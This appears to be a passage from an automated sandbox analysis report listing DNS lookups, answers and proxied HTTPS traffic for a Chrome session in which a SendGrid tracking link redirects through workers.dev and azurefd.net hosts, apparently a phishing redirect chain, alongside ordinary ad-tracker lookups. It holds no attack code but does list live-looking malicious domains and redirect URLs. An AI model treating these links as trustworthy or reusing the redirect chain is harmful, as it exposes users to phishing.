Jul 3, 2024 14:38:45.149282932 CEST	192.168.2.5	1.1.1.1	0xe494	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.149584055 CEST	192.168.2.5	1.1.1.1	0xd629	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Jul 3, 2024 14:38:45.200066090 CEST	192.168.2.5	1.1.1.1	0x481a	Standard query (0)	c.6sc.co	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.200229883 CEST	192.168.2.5	1.1.1.1	0xca83	Standard query (0)	c.6sc.co	65	IN (0x0001)	false
Jul 3, 2024 14:38:45.201432943 CEST	192.168.2.5	1.1.1.1	0x562f	Standard query (0)	ipv6.6sc.co	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.201560020 CEST	192.168.2.5	1.1.1.1	0x118b	Standard query (0)	ipv6.6sc.co	65	IN (0x0001)	false
Jul 3, 2024 14:38:45.344583035 CEST	192.168.2.5	1.1.1.1	0xa3c8	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.344583035 CEST	192.168.2.5	1.1.1.1	0xcacf	Standard query (0)	t.co	65	IN (0x0001)	false
Jul 3, 2024 14:38:45.350686073 CEST	192.168.2.5	1.1.1.1	0xc749	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.351106882 CEST	192.168.2.5	1.1.1.1	0xeae	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:46.175405025 CEST	192.168.2.5	1.1.1.1	0xef74	Standard query (0)	login.mailgun.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.175626993 CEST	192.168.2.5	1.1.1.1	0x434a	Standard query (0)	login.mailgun.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:46.336891890 CEST	192.168.2.5	1.1.1.1	0xcc23	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.337645054 CEST	192.168.2.5	1.1.1.1	0x6729	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:46.361926079 CEST	192.168.2.5	1.1.1.1	0xfd27	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.362217903 CEST	192.168.2.5	1.1.1.1	0x7191	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:46.365959883 CEST	192.168.2.5	1.1.1.1	0x33db	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.366161108 CEST	192.168.2.5	1.1.1.1	0xdb2f	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:46.366869926 CEST	192.168.2.5	1.1.1.1	0xad47	Standard query (0)	ipv6.6sc.co	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.367096901 CEST	192.168.2.5	1.1.1.1	0x4aed	Standard query (0)	ipv6.6sc.co	65	IN (0x0001)	false
Jul 3, 2024 14:38:46.368621111 CEST	192.168.2.5	1.1.1.1	0x5ae	Standard query (0)	c.6sc.co	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.368879080 CEST	192.168.2.5	1.1.1.1	0xee8b	Standard query (0)	c.6sc.co	65	IN (0x0001)	false
Jul 3, 2024 14:38:46.436923981 CEST	192.168.2.5	1.1.1.1	0x6d1	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.437081099 CEST	192.168.2.5	1.1.1.1	0xdc12	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:46.616769075 CEST	192.168.2.5	1.1.1.1	0xfccf	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.617115021 CEST	192.168.2.5	1.1.1.1	0xb9e5	Standard query (0)	t.co	65	IN (0x0001)	false
Jul 3, 2024 14:38:47.048341036 CEST	192.168.2.5	1.1.1.1	0x8339	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:47.048579931 CEST	192.168.2.5	1.1.1.1	0x8ad9	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:47.304451942 CEST	192.168.2.5	1.1.1.1	0x7859	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:47.304630041 CEST	192.168.2.5	1.1.1.1	0xf5fa	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 3, 2024 14:38:47.422185898 CEST	192.168.2.5	1.1.1.1	0xbba7	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:47.422398090 CEST	192.168.2.5	1.1.1.1	0x20ff	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Jul 3, 2024 14:39:41.147469997 CEST	192.168.2.5	1.1.1.1	0x8fdb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:39:41.147727013 CEST	192.168.2.5	1.1.1.1	0xd0e8	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 14:38:38.605818987 CEST	1.1.1.1	192.168.2.5	0x7a67	No error (0)	u6071375.ct.sendgrid.net		167.89.118.28	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:38.605818987 CEST	1.1.1.1	192.168.2.5	0x7a67	No error (0)	u6071375.ct.sendgrid.net		167.89.123.16	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:38.605818987 CEST	1.1.1.1	192.168.2.5	0x7a67	No error (0)	u6071375.ct.sendgrid.net		167.89.118.118	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:38.605818987 CEST	1.1.1.1	192.168.2.5	0x7a67	No error (0)	u6071375.ct.sendgrid.net		167.89.118.35	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:38.605818987 CEST	1.1.1.1	192.168.2.5	0x7a67	No error (0)	u6071375.ct.sendgrid.net		167.89.123.122	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:38.605818987 CEST	1.1.1.1	192.168.2.5	0x7a67	No error (0)	u6071375.ct.sendgrid.net		167.89.123.147	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:39.744429111 CEST	1.1.1.1	192.168.2.5	0x65a6	No error (0)	87484878475.alt-xm-38iszmu.workers.dev		172.67.147.221	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:39.744429111 CEST	1.1.1.1	192.168.2.5	0x65a6	No error (0)	87484878475.alt-xm-38iszmu.workers.dev		104.21.57.172	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:39.744544983 CEST	1.1.1.1	192.168.2.5	0xa534	No error (0)	87484878475.alt-xm-38iszmu.workers.dev			65	IN (0x0001)	false
Jul 3, 2024 14:38:40.365797997 CEST	1.1.1.1	192.168.2.5	0x4796	No error (0)	9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net	shed.dual-low.s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:40.365797997 CEST	1.1.1.1	192.168.2.5	0x4796	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:40.365797997 CEST	1.1.1.1	192.168.2.5	0x4796	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:40.376058102 CEST	1.1.1.1	192.168.2.5	0xce59	No error (0)	9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net	shed.dual-low.s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:41.096843004 CEST	1.1.1.1	192.168.2.5	0x91e1	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:41.096954107 CEST	1.1.1.1	192.168.2.5	0xbdf9	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 3, 2024 14:38:41.880402088 CEST	1.1.1.1	192.168.2.5	0xed3	No error (0)	1b3rmrwdw.buzz		142.11.212.118	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.782597065 CEST	1.1.1.1	192.168.2.5	0xc933	No error (0)	x.clearbitjs.com	global-v4.clearbit.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.789431095 CEST	1.1.1.1	192.168.2.5	0x65e3	No error (0)	x.clearbitjs.com	global-v4.clearbit.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.789431095 CEST	1.1.1.1	192.168.2.5	0x65e3	No error (0)	global-v4.clearbit.com		3.127.196.46	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.789431095 CEST	1.1.1.1	192.168.2.5	0x65e3	No error (0)	global-v4.clearbit.com		18.153.4.44	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.789431095 CEST	1.1.1.1	192.168.2.5	0x65e3	No error (0)	global-v4.clearbit.com		18.158.205.16	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.792844057 CEST	1.1.1.1	192.168.2.5	0xefa6	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.792844057 CEST	1.1.1.1	192.168.2.5	0xefa6	No error (0)	scontent.xx.fbcdn.net		157.240.0.6	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.793509007 CEST	1.1.1.1	192.168.2.5	0x680	No error (0)	cdn.rudderlabs.com	d330tt87tgwpr0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.794332027 CEST	1.1.1.1	192.168.2.5	0x83f9	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.795650005 CEST	1.1.1.1	192.168.2.5	0xea7e	No error (0)	cdn.rudderlabs.com	d330tt87tgwpr0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.795650005 CEST	1.1.1.1	192.168.2.5	0xea7e	No error (0)	d330tt87tgwpr0.cloudfront.net		18.239.83.17	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.795650005 CEST	1.1.1.1	192.168.2.5	0xea7e	No error (0)	d330tt87tgwpr0.cloudfront.net		18.239.83.36	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.795650005 CEST	1.1.1.1	192.168.2.5	0xea7e	No error (0)	d330tt87tgwpr0.cloudfront.net		18.239.83.20	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.795650005 CEST	1.1.1.1	192.168.2.5	0xea7e	No error (0)	d330tt87tgwpr0.cloudfront.net		18.239.83.108	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.799555063 CEST	1.1.1.1	192.168.2.5	0xb7d6	No error (0)	login.mailgun.com		34.160.63.108	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.800774097 CEST	1.1.1.1	192.168.2.5	0x516	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.801748991 CEST	1.1.1.1	192.168.2.5	0xc15d	No error (0)	j.6sc.co	j2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.820540905 CEST	1.1.1.1	192.168.2.5	0xe393	Name error (3)	td.google.com	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.820746899 CEST	1.1.1.1	192.168.2.5	0xea45	No error (0)	tag.clearbitscripts.com		13.226.175.10	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.820746899 CEST	1.1.1.1	192.168.2.5	0xea45	No error (0)	tag.clearbitscripts.com		13.226.175.102	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.820746899 CEST	1.1.1.1	192.168.2.5	0xea45	No error (0)	tag.clearbitscripts.com		13.226.175.106	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.820746899 CEST	1.1.1.1	192.168.2.5	0xea45	No error (0)	tag.clearbitscripts.com		13.226.175.82	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.844783068 CEST	1.1.1.1	192.168.2.5	0x36b8	Name error (3)	td.google.com	none	none	65	IN (0x0001)	false
Jul 3, 2024 14:38:43.845017910 CEST	1.1.1.1	192.168.2.5	0x2b72	No error (0)	get.sinchemail.com	grsm.io		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.845017910 CEST	1.1.1.1	192.168.2.5	0x2b72	No error (0)	grsm.io			65	IN (0x0001)	false
Jul 3, 2024 14:38:43.858555079 CEST	1.1.1.1	192.168.2.5	0x7066	No error (0)	get.sinchemail.com	grsm.io		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:43.858555079 CEST	1.1.1.1	192.168.2.5	0x7066	No error (0)	grsm.io		104.18.10.212	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.858555079 CEST	1.1.1.1	192.168.2.5	0x7066	No error (0)	grsm.io		104.18.11.212	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:43.923165083 CEST	1.1.1.1	192.168.2.5	0x5e62	Name error (3)	td.google.com	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:44.679650068 CEST	1.1.1.1	192.168.2.5	0x5110	No error (0)	www.redditstatic.com	dualstack.reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:44.679650068 CEST	1.1.1.1	192.168.2.5	0x5110	No error (0)	dualstack.reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:44.679650068 CEST	1.1.1.1	192.168.2.5	0x5110	No error (0)	dualstack.reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:44.679650068 CEST	1.1.1.1	192.168.2.5	0x5110	No error (0)	dualstack.reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:44.679650068 CEST	1.1.1.1	192.168.2.5	0x5110	No error (0)	dualstack.reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:44.680603981 CEST	1.1.1.1	192.168.2.5	0xe818	No error (0)	www.redditstatic.com	dualstack.reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.023323059 CEST	1.1.1.1	192.168.2.5	0xa7fc	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.023323059 CEST	1.1.1.1	192.168.2.5	0xa7fc	No error (0)	platform.twitter.map.fastly.net		146.75.120.157	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.024250031 CEST	1.1.1.1	192.168.2.5	0x521c	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.039263010 CEST	1.1.1.1	192.168.2.5	0x3a98	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.039741039 CEST	1.1.1.1	192.168.2.5	0x20dd	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.156670094 CEST	1.1.1.1	192.168.2.5	0xd629	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Jul 3, 2024 14:38:45.158514977 CEST	1.1.1.1	192.168.2.5	0xe494	No error (0)	googleads.g.doubleclick.net		142.250.185.130	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.207209110 CEST	1.1.1.1	192.168.2.5	0x481a	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.208012104 CEST	1.1.1.1	192.168.2.5	0xca83	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.209302902 CEST	1.1.1.1	192.168.2.5	0x562f	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.210031986 CEST	1.1.1.1	192.168.2.5	0x118b	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.355444908 CEST	1.1.1.1	192.168.2.5	0xa3c8	No error (0)	t.co		93.184.221.165	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.358560085 CEST	1.1.1.1	192.168.2.5	0xc749	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.358560085 CEST	1.1.1.1	192.168.2.5	0xc749	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.358560085 CEST	1.1.1.1	192.168.2.5	0xc749	No error (0)	s.twitter.com		104.244.42.195	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:45.358637094 CEST	1.1.1.1	192.168.2.5	0xeae	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:45.358637094 CEST	1.1.1.1	192.168.2.5	0xeae	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.215930939 CEST	1.1.1.1	192.168.2.5	0xef74	No error (0)	login.mailgun.com		34.160.63.108	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.345031977 CEST	1.1.1.1	192.168.2.5	0xcc23	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.345031977 CEST	1.1.1.1	192.168.2.5	0xcc23	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.345211983 CEST	1.1.1.1	192.168.2.5	0x6729	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.345211983 CEST	1.1.1.1	192.168.2.5	0x6729	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.369643927 CEST	1.1.1.1	192.168.2.5	0x7191	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 3, 2024 14:38:46.369846106 CEST	1.1.1.1	192.168.2.5	0xfd27	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.373888969 CEST	1.1.1.1	192.168.2.5	0x33db	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.373888969 CEST	1.1.1.1	192.168.2.5	0x33db	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.373888969 CEST	1.1.1.1	192.168.2.5	0x33db	No error (0)	s.twitter.com		104.244.42.195	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.374394894 CEST	1.1.1.1	192.168.2.5	0xdb2f	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.374394894 CEST	1.1.1.1	192.168.2.5	0xdb2f	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.378005981 CEST	1.1.1.1	192.168.2.5	0x4aed	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.378892899 CEST	1.1.1.1	192.168.2.5	0xad47	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.379889965 CEST	1.1.1.1	192.168.2.5	0xee8b	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.380310059 CEST	1.1.1.1	192.168.2.5	0x5ae	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.444360971 CEST	1.1.1.1	192.168.2.5	0x6d1	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.444360971 CEST	1.1.1.1	192.168.2.5	0x6d1	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:46.444745064 CEST	1.1.1.1	192.168.2.5	0xdc12	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:46.629134893 CEST	1.1.1.1	192.168.2.5	0xfccf	No error (0)	t.co		93.184.221.165	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:47.058409929 CEST	1.1.1.1	192.168.2.5	0x8339	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:47.058409929 CEST	1.1.1.1	192.168.2.5	0x8339	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:47.058712959 CEST	1.1.1.1	192.168.2.5	0x8ad9	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:47.058712959 CEST	1.1.1.1	192.168.2.5	0x8ad9	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:47.312689066 CEST	1.1.1.1	192.168.2.5	0x7859	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:47.313527107 CEST	1.1.1.1	192.168.2.5	0xf5fa	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 3, 2024 14:38:47.429598093 CEST	1.1.1.1	192.168.2.5	0xbba7	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:47.429598093 CEST	1.1.1.1	192.168.2.5	0xbba7	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:47.429613113 CEST	1.1.1.1	192.168.2.5	0x20ff	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:50.839221001 CEST	1.1.1.1	192.168.2.5	0xbe02	No error (0)	windowsupdatebg.s.llnwi.net		178.79.238.0	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:38:51.724762917 CEST	1.1.1.1	192.168.2.5	0xec4f	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 14:38:51.724762917 CEST	1.1.1.1	192.168.2.5	0xec4f	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:39:41.154912949 CEST	1.1.1.1	192.168.2.5	0x8fdb	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:39:41.159624100 CEST	1.1.1.1	192.168.2.5	0xd0e8	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 3, 2024 14:39:53.249888897 CEST	1.1.1.1	192.168.2.5	0xc70d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jul 3, 2024 14:39:53.249888897 CEST	1.1.1.1	192.168.2.5	0xc70d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

u6071375.ct.sendgrid.net

87484878475.alt-xm-38iszmu.workers.dev

9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net

https:

1b3rmrwdw.buzz

get.sinchemail.com

connect.facebook.net

x.clearbitjs.com

cdn.rudderlabs.com

tag.clearbitscripts.com

www.redditstatic.com

static.ads-twitter.com

googleads.g.doubleclick.net

analytics.twitter.com

t.co

www.google.com

www.facebook.com

www.bing.com

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	167.89.118.28	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:39 UTC	1034	OUT	GET /ls/click?upn=u001.jNebCYco-2BJgBMGJDj1kJWP39IKixFvDeSBij1PLovvXT0hkMSWjEhuIEgwQ-2F309CwGFmoY6-2Bl45VLW7K9Sd8-2Fg-3D-3Dm1D8_bgsmQmhs-2BDkrnAcljUiGIti1-2F3303-2FliL2Lyr586-2FN9rAlBFKILfRyjObk6Iz5-2FtMSxC-2FhiWOZXbqnmzeZXBiy3CSpPIYxz2-2BTcFMtFX6z-2FFKaL9cuMNNsd9H8Soth9M-2BiGwIhw5kRyphke6a8RYyV0rtdDONsX7lNk6Cr796v-2FIJZ8nzBJ39o6b-2FDySakEM-2B9nvScrgUWzDogJp7LxfPQ-3D-3D HTTP/1.1 Host: u6071375.ct.sendgrid.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:39 UTC	245	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 03 Jul 2024 12:38:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 70 Connection: close Location: https://87484878475.alt-xm-38iszmu.workers.dev/ X-Robots-Tag: noindex, nofollow
2024-07-03 12:38:39 UTC	70	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 38 37 34 38 34 38 37 38 34 37 35 2e 61 6c 74 2d 78 6d 2d 33 38 69 73 7a 6d 75 2e 77 6f 72 6b 65 72 73 2e 64 65 76 2f 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://87484878475.alt-xm-38iszmu.workers.dev/">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	172.67.147.221	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:40 UTC	681	OUT	GET / HTTP/1.1 Host: 87484878475.alt-xm-38iszmu.workers.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:40 UTC	624	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 12:38:40 GMT Content-Length: 0 Connection: close Location: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mgaq%2BGnZDKvBq4MWkbh%2FuQvAS4%2FnRhihsW4Py72DwrjB4%2BMmsWubBAgkAVVlSp29NcEg9rComYO88bqZTViYXjAOY4iD9dOu%2F3Uft0NNdG%2FN%2FQ%2F8KSvQpNQ8v8broWnQbSh01oM9IXUlJTA8%2BlosvW9ETM8iRyv76Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d6ef15c9f87cee-EWR alt-svc: h3=":443"; ma=86400

